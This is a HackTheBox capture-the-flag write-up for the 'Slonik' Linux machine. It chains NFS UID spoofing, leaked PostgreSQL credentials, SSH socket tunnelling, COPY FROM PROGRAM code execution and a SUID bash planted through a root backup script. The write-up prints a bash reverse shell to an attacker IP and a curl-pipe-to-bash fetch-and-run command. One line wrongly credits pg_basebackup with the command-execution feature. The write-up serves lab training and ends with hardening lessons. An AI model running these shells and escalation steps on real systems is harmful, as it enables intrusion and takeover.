HTB: Slonik Writeup
Slonik - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Slonik |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Slonik is a Medium-difficulty Linux machine that demonstrates the dangers of misconfigurations in NFS share permissions, database exposure, and unattended backup automation. The attack chain begins by exploiting NFS’s trust-based UID/GID authentication to access a home directory containing PostgreSQL credentials and history files. These artifacts reveal a locally bound PostgreSQL socket that can be tunneled over SSH. Once connected to the database, PostgreSQL’s dangerous COPY FROM PROGRAM functionality is abused to achieve remote code execution as the postgres user. Privilege escalation is accomplished by monitoring scheduled tasks with pspy, identifying a root-executed backup script, and leveraging pg_basebackup’s behavior combined with SUID binary exploitation to gain root shell access.
TL;DR: Enumerate NFS → Discover UID/GID 1337 service directory → Extract PostgreSQL credentials from .psql_history → Tunnel socket over SSH → RCE via COPY FROM PROGRAM → Monitor processes with pspy → Exploit pg_basebackup + SUID bash binary → Root shell.
Reconnaissance
Port Scanning
# Initial port enumerationnmap -p- --min-rate=1000 -T4 10.129.234.160
# Detailed service enumeration on discovered portsports=$(nmap -p- --min-rate=1000 -T4 10.129.234.160 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sC -sV 10.129.234.160Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13111/tcp open rpcbind 2-4 (RPC #100000)2049/tcp open nfs_acl 3 (RPC #100227)Three open ports are identified: SSH on port 22, and NFS-related services on ports 111 (rpcbind) and 2049 (nfs_acl).
Service Enumeration
NFS Discovery
# Enumerate NFS shares and their contentssudo nmap --script nfs* 10.129.234.160 -sV -p111,2049The NFS enumeration reveals two exported shares:
/var/backups: Contains periodic ZIP archives with Read/Lookup permissions only/home: Contains aservicedirectory with UID/GID 1337 and permissionsrwxr-x---
The NFS configuration uses wildcard exports (*), allowing any client to mount these shares.
Mounting NFS Shares
# Create mount pointmkdir slonik-nfssudo mount -t nfs 10.129.234.160:/ ./slonik-nfs -o nolock
# Attempt to access service directory (fails due to UID mismatch)cd slonik-nfs/home/service# Permission deniedDirect access to the service directory is denied because the local user’s UID/GID does not match the remote owner (1337).
Vulnerability Assessment
Key Vulnerabilities Identified:
-
NFS UID/GID Trust Exploitation: NFS authentication relies entirely on client-side UID/GID claims. No cryptographic verification occurs, allowing privilege escalation through user creation.
-
Exposed PostgreSQL History: The
.psql_historyfile in the service home directory contains database credentials and commands in plaintext. -
PostgreSQL COPY FROM PROGRAM RCE: The pg_basebackup utility has dangerous functionality allowing arbitrary command execution with database user privileges.
-
Unattended Root-Executed Backup Script: A periodically executed backup script runs as root without proper safeguards, creating a privilege escalation vector.
-
SUID Binary Exploitation: pg_basebackup copies entire directory structures while preserving file permissions and SUID bits.
Initial Foothold
Step 1: NFS UID/GID Exploitation
Since NFS trusts client-side UID/GID mappings, we create a local user matching the remote UID/GID of 1337:
# Create a group and user with matching UID/GIDsudo groupadd -g 1337 servicesudo useradd -u 1337 -g 1337 -m -s /bin/bash servicesudo passwd service# Set a password for the account
# Switch to the new usersu servicecd ~/slonik-nfs/home/serviceNow we can access the service directory and enumerate its contents:
ls -la# Output shows:# -rw-r--r-- .bash_history# -rw-r--r-- .bash_logout# -rw-r--r-- .bashrc# -rw-r--r-- .profile# -rw-r--r-- .psql_history (interesting!)# drwxrwxr-x .sshStep 2: Credential Extraction
Inspect the PostgreSQL history file:
cat .psql_historyOutput reveals:
CREATE DATABASE service;\c service;CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);INSERT INTO users (username, password, description) VALUES ('service', '<hash>', 'network access account');select * from users;\qAn MD5 hash is discovered. Using online crack services (CrackStation), the password is determined to be: service
Inspect bash history:
cat .bash_history# Output shows:# ls -lah /var/run/postgresql/# file /var/run/postgresql/.s.PGSQL.5432# psql -U postgres# exitThis reveals the PostgreSQL Unix domain socket location at /var/run/postgresql/.s.PGSQL.5432.
Step 3: SSH Access and Socket Tunneling
Attempt direct SSH access with the discovered credentials:
ssh service@10.129.234.160# Connection closes immediately after login# This indicates account restrictions (likely /usr/sbin/nologin or similar)Instead, tunnel the PostgreSQL Unix socket over SSH:
# From attacker machine, establish SSH port forwarding for the socketssh -N -L /tmp/.s.PGSQL.5432:/var/run/postgresql/.s.PGSQL.5432 service@10.129.234.160# Enter password: service# Connection remains open in backgroundStep 4: PostgreSQL RCE via COPY FROM PROGRAM
Connect to PostgreSQL through the forwarded socket:
psql -h /tmp -U postgresVerify database access and test command execution:
-- Test basic connectivity\list-- Shows postgres, service, and template databases
-- Create table for command outputCREATE TABLE cmd_exec(cmd_output text);
-- Execute system command via COPY FROM PROGRAMCOPY cmd_exec FROM PROGRAM 'id';
-- Retrieve outputSELECT * FROM cmd_exec;-- Output: uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)Step 5: Reverse Shell
Create and host a bash reverse shell script:
# On attacker machineecho '#!/bin/bashbash -i >& /dev/tcp/10.10.15.42/443 0>&1' > shell.sh
# Start HTTP serverpython3 -m http.server 80# Serving HTTP on 0.0.0.0 port 80
# Start netcat listener in another terminalnc -lnvp 443Fetch and execute the shell script from PostgreSQL:
-- Clean up previous tableDROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);
-- Download and execute reverse shellCOPY cmd_exec FROM PROGRAM 'curl http://10.10.15.42/shell.sh | bash';Receive the reverse connection:
# From netcat listenerconnect to [10.10.15.42] from (UNKNOWN) [10.129.234.160] 49030postgres@slonik:/var/lib/postgresql/14/main$Upgrade to interactive PTY shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'User flag location: /var/lib/postgresql/user.txt
Privilege Escalation
Step 1: Process Monitoring with pspy
Download and execute pspy64 to identify privileged processes:
# On attacker machinewget http://10.10.14.90/pspy64 -O pspy64python3 -m http.server 8000
# On target machinecd /tmpwget http://10.10.15.42:8000/pspy64chmod +x pspy64./pspy64Monitor output and observe:
2026/02/12 11:22:03 CMD: UID=0 PID=3844 | /bin/bash /usr/bin/backup2026/02/12 11:22:04 CMD: UID=0 PID=3846 | /bin/bash /usr/bin/backup2026/02/12 11:22:04 CMD: UID=0 PID=3847 | /bin/bash /usr/bin/backup2026/02/12 11:22:04 CMD: UID=0 PID=3848 | /bin/bash /usr/bin/backup2026/02/12 11:22:04 CMD: UID=0 PID=3849 | /bin/bash /usr/bin/backupA script /usr/bin/backup is being executed repeatedly with UID=0 (root privileges).
Step 2: Backup Script Analysis
Examine the backup script:
cat /usr/bin/backupScript contents:
#!/bin/bash
date=$(/usr/bin/date +"%FT%H%M")/usr/bin/rm -rf /opt/backups/current/*/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current//usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/
count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)if [ "$count" -gt 10 ]; then /usr/bin/rm -rf /var/backups/*fiAttack Surface:
pg_basebackupcopies the entire PostgreSQL data directory (/var/lib/postgresql/14/main) to/opt/backups/current/- Files copied by a root-executed process become owned by root
- SUID bits are preserved during the copy operation
- We can place a SUID bash binary in the PostgreSQL data directory and wait for the backup to copy it with root ownership
Step 3: SUID Binary Exploitation
Create a SUID-enabled copy of bash in the PostgreSQL data directory:
cd /var/lib/postgresql/14/main
# Copy bash binarycp /bin/bash nbash
# Set SUID bit and execute permissions# 4755: 4 (setuid) + 755 (rwxr-xr-x)chmod 4755 nbash
# Verify permissionsls -la nbash# -rwsr-xr-x 1 postgres postgres ...Wait for the backup script to execute (typically runs on a cron schedule). When it runs, pg_basebackup copies the entire data directory:
# Monitor for backup executionwatch -n 1 'ls -la /opt/backups/current/ | grep nbash'
# Eventually see:# -rwsr-xr-x 1 root root 1.4M Feb 12 12:38 nbashStep 4: Root Shell
Execute the SUID bash binary with the -p flag to preserve elevated privileges:
/opt/backups/current/nbash -p
# Verify root accessid# uid=115(postgres) gid=123(postgres) euid=0(root) groups=123(postgres),122(ssl-cert)
# Confirm root shellwhoami# rootRoot flag location: /root/root.txt
Attack Chain Summary
NFS Enumeration (UID/GID 1337) ↓Create Local User with UID/GID 1337 ↓Access NFS /home/service Directory ↓Extract .psql_history (PostgreSQL Credentials) ↓SSH Socket Forwarding (/var/run/postgresql/.s.PGSQL.5432) ↓PostgreSQL Connection as postgres User ↓COPY FROM PROGRAM Command Execution ↓Reverse Shell as postgres User (RCE) ↓Process Monitoring with pspy64 ↓Identify Root-Executed /usr/bin/backup Script ↓Analyze pg_basebackup Behavior (Copies Data Dir) ↓Create SUID bash Binary in PostgreSQL Data Directory ↓Wait for Backup Script Execution ↓pg_basebackup Copies SUID Binary with Root Ownership ↓Execute SUID Bash with -p Flag ↓Root Shell AccessTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and NFS enumeration via NSE scripts |
mount | Mounting NFS shares locally |
useradd / groupadd | Creating users with matching UID/GID for NFS access |
ssh | Remote access and socket forwarding |
psql | PostgreSQL client for database interaction |
curl | Downloading reverse shell script |
nc | Netcat listener for reverse shell |
python3 | HTTP server for file hosting and PTY upgrade |
pspy64 | Process monitoring without root privileges |
chmod | Setting SUID permissions on binaries |
pg_basebackup | PostgreSQL backup utility (exploited indirectly) |
Key Learnings
Techniques Practiced
- NFS UID/GID Trust Exploitation: Abusing NFS’s client-side authentication by creating matching local user accounts
- Unix Socket Forwarding: Tunneling Unix domain sockets over SSH for remote service access
- PostgreSQL COPY FROM PROGRAM RCE: Leveraging dangerous PostgreSQL functionality for arbitrary command execution
- Process Monitoring: Using pspy64 to identify privileged background tasks without root access
- SUID Binary Exploitation: Understanding how SUID bits are preserved across file operations and creating privilege escalation chains
- Backup Script Analysis: Identifying security flaws in automated system maintenance tasks
- SSH Port Forwarding: Advanced SSH techniques for accessing services bound to localhost
Lessons Learned
-
NFS is Trust-Based: Never export NFS shares without proper UID/GID mapping enforcement and authentication mechanisms. Consider using Kerberos-based NFS security.
-
Shell History is Sensitive: Commands entered in interactive database sessions (
.psql_history,.bash_history) can leak credentials and system architecture details. Implement proper shell history controls and periodic cleanup. -
Database Command Execution: Functions like PostgreSQL’s
COPY FROM PROGRAMare extremely dangerous and should be disabled for unprivileged users. The principle of least privilege is critical. -
Monitor Privileged Processes: Backup and maintenance scripts executed as root must be audited carefully. Process monitoring tools like pspy can reveal attack vectors invisible to standard system monitoring.
-
SUID Preservation in Backups: Tools that copy entire directory structures (pg_basebackup, tar, rsync) preserve file permissions including SUID bits. Ensure backup processes run with minimal privileges and operate on restricted directories.
-
SSH Hardening: Accounts with restricted shells (nologin) should still be reviewed for other potential misuse vectors, such as SSH socket forwarding capabilities.
-
Defense in Depth: This machine demonstrates how multiple misconfigurations (NFS + credentials + RCE + backup script + SUID) chain together for complete system compromise. Each individual control failure reduced overall security.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>